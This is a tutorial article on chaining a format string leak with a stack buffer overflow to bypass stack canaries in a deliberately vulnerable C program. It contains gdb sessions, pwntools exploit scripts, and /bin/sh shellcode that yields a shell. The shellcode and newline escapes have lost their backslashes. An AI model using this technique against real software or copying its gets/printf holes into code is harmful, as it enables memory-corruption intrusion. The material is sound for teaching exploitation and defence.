Format String Vulnerabilities Exploitation Case Study
Introduction:
In the previous article of this series, we discussed how format string vulnerabilities can be exploited. This article provides a case study of how format string vulnerabilities can be used to exploit serious vulnerabilities such as Buffer Overflows. We will begin by understanding what stack canaries are and then we will exploit a Buffer Overflow vulnerability by making use of a format string vulnerability.
Learn Secure Coding
What is stack canary?
Stack Canaries are used to detect a stack buffer overflow before execution is transferred to the user controlled code. This is achieved by placing a random value in memory just before the stack return pointer. To exploit a buffer overflow, attackers usually overwrite the return pointer. So in order to overwrite the return pointer, the canary value must also be overwritten. However, this value is checked to make sure it was not tampered with before a routine uses the return pointer on the stack. This technique can greatly increase the difficulty of exploiting a stack buffer overflow because it forces the attacker to gain control of the instruction pointer by some non-traditional means such as using memory leak vulnerabilities.
How to bypass stack canary protection?
Now that we understood how stack canaries work, let us discuss how we can bypass stack canaries and exploit the buffer overflow vulnerability. We are going to use the same vulnerable program for this exercise.
int main(int argc, char *argv[]){
vuln_func(argv[1]);
return 0;
}
void vuln_func(char *input){
char buffer[256];
printf(input);
printf("n");
gets(buffer);
}
The preceding program is vulnerable to two different vulnerabilities.
- A format string vulnerability
- Stack Based Buffer Overflow
We will make use of the format string vulnerability to leak the stack canary and Stack Based Buffer Overflow to take control of the RIP register.
We will first use gdb to analyse the binary and then we will use pwntools to exploit the vulnerable program.
Now, Let us run the binary using gdb and let us use the format string vulnerability to pop values off the stack.
GEF for linux ready, type `gef' to start, `gef config' to configure
78 commands loaded for GDB 9.1 using Python engine 3.8
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./vulnerable...
(No debugging symbols found in ./vulnerable)
gef➤ disass vuln_func
Dump of assembler code for function vuln_func:
0x00000000004011c8 <+0>: endbr64
0x00000000004011cc <+4>: push rbp
0x00000000004011cd <+5>: mov rbp,rsp
0x00000000004011d0 <+8>: sub rsp,0x120
0x00000000004011d7 <+15>: mov QWORD PTR [rbp-0x118],rdi
0x00000000004011de <+22>: mov rax,QWORD PTR fs:0x28
0x00000000004011e7 <+31>: mov QWORD PTR [rbp-0x8],rax
0x00000000004011eb <+35>: xor eax,eax
0x00000000004011ed <+37>: mov rax,QWORD PTR [rbp-0x118]
0x00000000004011f4 <+44>: mov rdi,rax
0x00000000004011f7 <+47>: mov eax,0x0
0x00000000004011fc <+52>: call 0x401090 <printf@plt>
0x0000000000401201 <+57>: mov edi,0xa
0x0000000000401206 <+62>: call 0x401070 <putchar@plt>
0x000000000040120b <+67>: lea rax,[rbp-0x110]
0x0000000000401212 <+74>: mov rdi,rax
0x0000000000401215 <+77>: mov eax,0x0
0x000000000040121a <+82>: call 0x4010a0 <gets@plt>
0x000000000040121f <+87>: nop
0x0000000000401220 <+88>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000401224 <+92>: xor rax,QWORD PTR fs:0x28
0x000000000040122d <+101>: je 0x401234 <vuln_func+108>
0x000000000040122f <+103>: call 0x401080 <__stack_chk_fail@plt>
0x0000000000401234 <+108>: leave
0x0000000000401235 <+109>: ret
End of assembler dump.
gef➤
Let us set up a breakpoint at vuln_func + 92, where the stack canary is verified just before returning from the function.
gef➤ b *0x0000000000401224
Breakpoint 1 at 0x401224
gef➤
Let us use multiple %llx to abuse the format string vulnerability and leak values entries from the stack hoping to get the canary. So, let us run the program as follows.
Starting program: /home/dev/backup_x86_64/canary/vulnerable %llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx
7fffffffdf28,7fffffffdf40,401240,0,7ffff7fe0d50,0,7fffffffe291,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,7fffffffefb6,0,0,0,0,0,0,400040,f0b5ff,c2,7fffffffde17,7fffffffde16,40128d,7ffff7fb6fc8,ba20f11b51911700,7fffffffde30,4011c1,7fffffffdf28,200000000,0,7ffff7ded0b3,7ffff7ffc620,7fffffffdf28,200000000,401196,401240,cf2ce98b302fcbf7,4010b0,7fffffffdf20,0,0
test
Breakpoint 1, 0x0000000000401224 in vuln_func ()
As we can notice, there are values dumped from the stack and the breakpoint is also hit.
Now, examine the value of register rax to verify the canary value it has.
rax 0xba20f11b51911700 0xba20f11b51911700
gef➤
This value is the stack canary which is being used by the application in this run to detect stack smashing. If you closely observe the leaked content earlier, this canary value is available there. Also note that it's the 41st value in the leaked entries.
Starting program: /home/dev/backup_x86_64/canary/vulnerable %llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx
7fffffffdf28,7fffffffdf40,401240,0,7ffff7fe0d50,0,7fffffffe291,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,7fffffffefb6,0,0,0,0,0,0,400040,f0b5ff,c2,7fffffffde17,7fffffffde16,40128d,7ffff7fb6fc8,ba20f11b51911700,7fffffffde30,4011c1,7fffffffdf28,200000000,0,7ffff7ded0b3,7ffff7ffc620,7fffffffdf28,200000000,401196,401240,cf2ce98b302fcbf7,4010b0,7fffffffdf20,0,0
test
Breakpoint 1, 0x0000000000401224 in vuln_func ()
So, this is how we can leak stack canaries to be able to bypass stack smashing detection.
One can easily find out the offset to stack canary and replace the junk characters with the actual canary at runtime.
Let us first find out the offset to stack canary using a pattern.
[+] Generating a pattern of 300 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[+] Saved as '$_gef0'
gef➤
Once again, set up a breakpoint at vuln_func + 92, where the stack canary is verified and run the program using the pattern generated.
Starting program: /home/dev/backup_x86_64/canary/vulnerable test
test
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
After the program is run, we should hit the breakpoint at the following instruction.
0x40121b <vuln_func+83> cmp esi, 0x4890ffff
0x401221 <vuln_func+89> mov eax, DWORD PTR [rbp-0x8]
→ 0x401224 <vuln_func+92> xor rax, QWORD PTR fs:0x28
0x40122d <vuln_func+101> je 0x401234 <vuln_func+108>
0x40122f <vuln_func+103> call 0x401080 <__stack_chk_fail@plt>
0x401234 <vuln_func+108> leave
0x401235 <vuln_func+109> ret
The program is about to verify the stack canary, but we have overwritten the canary value with our large input. So, let us check what rax contains.
rax 0x6261616161616169 0x6261616161616169
gef➤
As you can notice, the canary is overwritten with 8 bytes of our pattern.
Let us find the offset at which canary is written. This is needed to be able to position the leaked canary in the buffer overflow payload.
[+] Searching '0x6261616161616169'
[+] Found at offset 264 (little-endian search) likely
gef➤
As we can see in the preceding excerpt, 264 bytes are needed to overwrite the stack canary.
We can find the offset of the return address (RIP register) using the same process. The offset to the RBP register is 272 and RIP requires 278 bytes.
Crafting the exploit using pwntools framework:
Using the information gathered so far, let us write our exploit with the help of pwntools framework.
Use the following command to create a template exploit.
Following is the template created. Ensure that the exploit template is updated to use python3 since python2 is used by default.
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./vulnerable
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./vulnerable')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: No PIE (0x400000)
# RWX: Has RWX segments
io = start()
# shellcode = asm(shellcraft.sh())
# payload = fit({
# 32: 0xdeadbeef,
# 'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)
io.interactive()
The following excerpt shows that we can pass the arguments within the process function.
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./vulnerable
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./vulnerable')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path, "%llx,%llx,%llx,%llx%llx,%llx,%llx,%llx"] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path, "%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx,%llx"] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: No PIE (0x400000)
# RWX: Has RWX segments
io = start()
print(io.readline())
io.sendline('A'*300)
io.interactive()
As we can notice in the preceding excerpt, the arguments can be passed using the process() function. Let us also understand what each of the highlighted lines are doing here.
start() - This line will call the start() function, which has a call to process(). This line is basically to start talking to a process.
print(io.readline()) - This line is to read data from the program until a new line character is encountered. This is where we will be able to print the leaked canary.
print(io.sendline(‘A’*300)) - This line will send 300 As to the program and it includes a newline(n) character at the end.
io.interactive() - All the previous lines used are to programmatically interact with the process. However, using this line we can actually interact with the process using an interactive shell.
Let us run the exploit and observe what happens.
[*] '/home/dev/backup_x86_64/canary/vulnerable'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[+] Starting local process '/home/dev/backup_x86_64/canary/vulnerable': pid 1449268
b'7ffda9b43fd8,7ffda9b43ff0,401240,0,7f7ab6df8d50,0,7ffda9b46282,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,7ffda9b46fb6,0,0,0,0,0,0,400040,f0b5ff,c2,7ffda9b43ec7,7ffda9b43ec6,40128d,7f7ab6dd2fc8,5e09702adac70d00,7ffda9b43ee0,4011c1,7ffda9b43fd8,200000000,0,7f7ab6c090b3,7f7ab6e14620,7ffda9b43fd8,200000000,401196,401240,58e98503db447cb8,4010b0,7ffda9b43fd0,0,0,a712d66ba6a47cb8,a61ce882fb8a7cb8,0,0,0,2,7ffda9b43fd8,7ffda9b43ff0,7f7ab6e16190,0,0,4010b0,7ffda9b43fd0,0n'
[*] Switching to interactive mode
*** stack smashing detected ***: terminated
[*] Got EOF while reading in interactive
$
[*] Process '/home/dev/backup_x86_64/canary/vulnerable' stopped with exit code -6 (SIGABRT) (pid 1449268)
[*] Got EOF while sending in interactive
As we can notice, the format string vulnerability is leaking the canary highlighted in yellow but we have received a stack smashing detected error since we did not send this canary as part of the buffer.
Now, we need to update the format string payload to leak only the canary instead of too many entries from the stack.
So, let us update the exploit template to leak the stack canary by passing the argument %41$llx.
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./vulnerable
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./vulnerable')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path, "%llx,%llx,%llx,%llx%llx,%llx,%llx,%llx"] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path, "%41$llx"] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: No PIE (0x400000)
# RWX: Has RWX segments
io = start()
print(io.readline())
io.sendline('A'*300)
io.interactive()
As we can notice, the exploit is updated to leak the stack canary only. Let us run the exploit and observe what happens.
[*] '/home/dev/backup_x86_64/canary/test/vulnerable'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[+] Starting local process '/home/dev/backup_x86_64/canary/test/vulnerable': pid 1454716
b'ca9192464af1ea00n'
[*] Switching to interactive mode
*** stack smashing detected ***: terminated
[*] Got EOF while reading in interactive
$
As expected, the stack canary is leaked and stack smashing is detected.
As we can observe, the leaked address is in byte format. We need to extract the first 16 bytes in the output and convert into an integer with base 16. This gives us the canary leaked from the stack, which is the 41st entry. So, let us extract the leaked canary and save it in a variable. We can then adjust the buffer to include this canary value so that stack smashing will not be detected.
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: No PIE (0x400000)
# RWX: Has RWX segments
io = start()
leaked = io.readline()
canary = int(leaked[:17],16)
print(hex(canary))
io.sendline('A'*300)
io.interactive()
Run the preceding excerpt, and we should see the following output.
[*] '/home/dev/backup_x86_64/canary/test/vulnerable'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[+] Starting local process '/home/dev/backup_x86_64/canary/test/vulnerable': pid 12640
0xcaf387196630e400
[*] Switching to interactive mode
*** stack smashing detected ***: terminated
[*] Got EOF while reading in interactive
$
As we can see, we managed to extract the exact canary value. Next, let us adjust the payload with the canary. Following are the observations from our analysis earlier.
- Offset to overwrite stack canary is 264 bytes
- Offset to overwrite the RBP register is 272 bytes
- RIP should point to the address of shellcode
Now, let us update the exploit with these details as follows.
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: No PIE (0x400000)
# RWX: Has RWX segments
io = start()
leaked = io.readline()
canary = int(leaked[:17],16)
print(hex(canary))
shellcode = b"x48x31xc0x48x89xc2x48x89xd6x50x48xbbx2fx2fx62x69x6ex2fx73x68x53x48x89xe7x48x83xc0x3bx0fx05"
payload = shellcode
payload += b'A' * (264-len(shellcode))
payload += p64(canary)
payload += b'B' * 8
payload += p64(0x7fffffffde50) #address pointing to shellcode
io.sendline(payload)
io.interactive()
Let us check if the exploit works.
[*] '/home/dev/backup_x86_64/canary/test/vulnerable'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[+] Starting local process '/home/dev/backup_x86_64/canary/test/vulnerable': pid 52950
0xbfb42c44c1d29600
[*] Switching to interactive mode
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),133(docker)
$
The exploit worked and we bypassed stack canary by chaining format string vulnerability with a stack based buffer overflow vulnerability.
Following is the final exploit.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./vulnerable
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./vulnerable')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path, "%llx,%llx,%llx,%llx%llx,%llx,%llx,%llx"] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path, "%41$llx"] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: No PIE (0x400000)
# RWX: Has RWX segments
io = start()
leaked = io.readline()
canary = int(leaked[:17],16)
print(hex(canary))
shellcode = b"x48x31xc0x48x89xc2x48x89xd6x50x48xbbx2fx2fx62x69x6ex2fx73x68x53x48x89xe7x48x83xc0x3bx0fx05"
payload = shellcode
payload += b'A' * (264-len(shellcode))
payload += p64(canary)
payload += b'B' * 8
payload += p64(0x7fffffffde50)
io.sendline(payload)
io.interactive()
Conclusion:
Format String vulnerabilities clearly can create great damage, when exploited. One can easily read data from arbitrary memory locations and use them to chain with other vulnerabilities such as Buffer Overflows. Developers must be aware of Format String vulnerabilities and the risks they bring when writing functions that are susceptible to format string vulnerabilities.
Learn Secure Coding